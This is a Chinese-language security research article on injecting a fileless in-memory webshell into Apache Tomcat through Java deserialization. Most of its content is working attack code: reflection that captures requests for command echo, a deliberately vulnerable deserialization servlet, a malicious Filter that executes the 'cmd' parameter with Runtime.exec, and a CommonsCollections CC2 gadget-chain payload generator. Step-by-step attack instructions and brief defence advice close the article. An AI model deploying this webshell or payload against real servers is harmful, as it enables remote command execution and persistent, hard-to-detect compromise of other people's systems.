Tomcat反序列化注入回显内存马
字数 1150 2025-08-24 07:48:22
Tomcat反序列化注入回显内存马技术研究
前言
传统Tomcat内存马技术(如Filter、Listener、Servlet等)存在文件落地问题,因为Web服务器在编译JSP文件时会生成对应的class文件。本文研究的是通过反序列化进行内存马注入,实现真正无文件落地的攻击技术。
回显构造原理
寻找请求变量存储位置
在反序列化环境下无法直接获取request和response变量,需要寻找存储请求信息的变量。研究发现:
org.apache.catalina.core.ApplicationFilterChain
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;
这两个变量是静态的,省去了获取对象实例的操作。
变量初始化机制
在ApplicationFilterChain#internalDoFilter中发现:
- 当
WRAP_SAME_OBJECT为true时,请求信息会被存入lastServicedRequest和lastServicedResponse - 默认
WRAP_SAME_OBJECT为false,需要修改其值
反射构造回显实现
关键代码实现
public class getRequest extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
// 获取关键字段
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher")
.getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
// 修改static final字段
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);
// 获取ThreadLocal变量
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
// 执行命令并回显
String cmd = lastServicedRequest != null ? lastServicedRequest.get().getParameter("cmd") : null;
if (cmd != null) {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// ...处理输出流...
lastServicedResponse.get().getWriter().println(outputStream.toString());
}
} catch (Exception e) {
e.printStackTrace();
}
}
// 修改final字段的工具方法
public void setFinalStatic(Field field) throws Exception {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}
}
部署配置
web.xml配置:
<servlet>
<servlet-name>getRequest</servlet-name>
<servlet-class>memoryshell.UnserShell.getRequest</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>getRequest</servlet-name>
<url-pattern>/demo</url-pattern>
</servlet-mapping>
执行流程
-
第一次访问/demo路径:
- 将request和response存储到
lastServicedRequest和lastServicedResponse中 - 修改
WRAP_SAME_OBJECT为true
- 将request和response存储到
-
第二次访问/demo路径:
- 从
lastServicedRequest获取cmd参数 - 通过
lastServicedResponse输出命令执行结果
- 从
反序列化注入实现
环境准备
- 添加commons-collections依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
- 创建反序列化入口:
public class CCServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String exp = req.getParameter("exp");
byte[] decode = Base64.getDecoder().decode(exp);
ObjectInputStream oin = new ObjectInputStream(new ByteArrayInputStream(decode));
try {
oin.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
resp.getWriter().write("Success");
}
}
内存马实现
public class FilterShell extends AbstractTranslet implements Filter {
static {
try {
// 1. 反射修改关键字段
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher")
.getDeclaredField("WRAP_SAME_OBJECT");
// ...同上...
// 2. 获取Servlet上下文
ServletContext servletContext = servletRequest.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
// 3. 获取StandardContext
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
// 4. 创建恶意Filter
Filter filter = new FilterShell();
// 5. 创建并配置FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("Sentiment");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 6. 添加到FilterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class
.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor
.newInstance(standardContext, filterDef);
filterConfigs.put("Sentiment", filterConfig);
// 7. 创建FilterMap并设置优先级
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("Sentiment");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (request.getParameter("cmd") != null) {
String[] cmds = {"cmd", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
// ...处理输出流...
response.getWriter().println(outputStream.toString());
}
}
// ...其他必要方法...
}
生成Payload
使用CC2链构造反序列化Payload:
public class cc2 {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = getBytes(); // 读取FilterShell.class字节码
// 设置TemplatesImpl必要字段
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
// 构造CC2链
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
// 添加元素触发反序列化
priorityQueue.add(templates);
priorityQueue.add(2);
// 反射修改transformer字段
Field transformField = transformingComparator.getClass().getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator, invokerTransformer);
// 序列化payload
serialize(priorityQueue);
}
}
攻击步骤
- 将生成的1.ser文件进行Base64编码
- 分两次请求:
- 第一次:将请求存入
lastServicedRequest和lastServicedResponse - 第二次:通过反序列化动态注册Filter内存马
- 第一次:将请求存入
- 注入成功后,通过cmd参数执行命令
技术演进与局限
-
早期方法:
- 通过response进行注入
- 局限:Shiro中自定义了doFilter方法,无法使用
-
改进方法:
- 通过
currentThread.getContextClassLoader()获取StandardContext - 解决了Shiro回显问题
- 局限:Tomcat7中无法获取StandardContext
- 通过
-
最新研究:
- 对上述方法进行了总结
- 仍未完全解决Tomcat7的兼容性问题
防御建议
- 及时更新Tomcat和相关组件版本
- 限制反序列化操作,特别是用户可控的输入
- 监控JVM中异常的Filter、Servlet等组件注册
- 使用安全产品检测内存马行为
- 对关键静态字段进行保护,防止反射修改